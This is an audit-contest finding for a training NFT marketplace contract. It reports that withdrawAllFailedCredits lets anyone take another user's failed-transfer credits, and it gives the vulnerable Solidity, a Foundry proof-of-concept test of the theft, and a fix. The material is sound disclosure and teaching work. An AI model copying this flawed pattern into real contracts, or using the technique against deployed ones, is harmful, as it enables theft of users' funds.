Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Control Vulnerability in `BidBeastsNFTMarketplace::withdrawAllFailedCredits()` Function

mishraji874

Description

  • The normal behavior should be that users can only withdraw their own failed transfer credits from the mapping.

  • The BidBeastsNFTMarketplace::withdrawAllFailedCredits() function has a critical access control flaw where anyone can withdraw another user's failed transfer credits by passing their address as the _receiver parameter, but the function resets msg.sender's credits and sends the funds to msg.sender.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
@> failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any attacker can call this function with any address that has failed transfer credits

  • The vulnerability exists in every interaction where users have accumulated failed credits

Impact:

  • Complete theft of any user's failed transfer credits

  • Loss of legitimate user funds that should be withdrawable

Proof of Concept

function test_HIGH_WithdrawAllFailedCreditsAccessControl() public {
uint256 tokenId = _mintAndListNFT(ALICE, MIN_PRICE, BUY_NOW_PRICE);
​
// Create a situation where Alice has failed transfer credits
vm.prank(BOB);
market.placeBid{value: MIN_PRICE + 0.1 ether}(tokenId);
​
// Charlie outbids Bob, causing Bob to get failed transfer credits
// But we'll make Bob's address reject ether
vm.etch(BOB, type(RejectEther).runtimeCode);
​
vm.prank(CHARLIE);
market.placeBid{value: MIN_PRICE + 0.2 ether}(tokenId);
​
// Bob should have failed transfer credits
uint256 bobCredits = market.failedTransferCredits(BOB);
assertGt(bobCredits, 0, "Bob should have failed transfer credits");
​
// VULNERABILITY: Attacker can withdraw Bob's credits by calling with Bob as _receiver
uint256 attackerBalanceBefore = ATTACKER.balance;
​
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(BOB);
​
// Attacker received Bob's credits
uint256 attackerBalanceAfter = ATTACKER.balance;
assertEq(
attackerBalanceAfter,
attackerBalanceBefore + bobCredits,
"Attacker should receive Bob's credits"
);
}

Recommended Mitigation

function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver == msg.sender, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
​
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.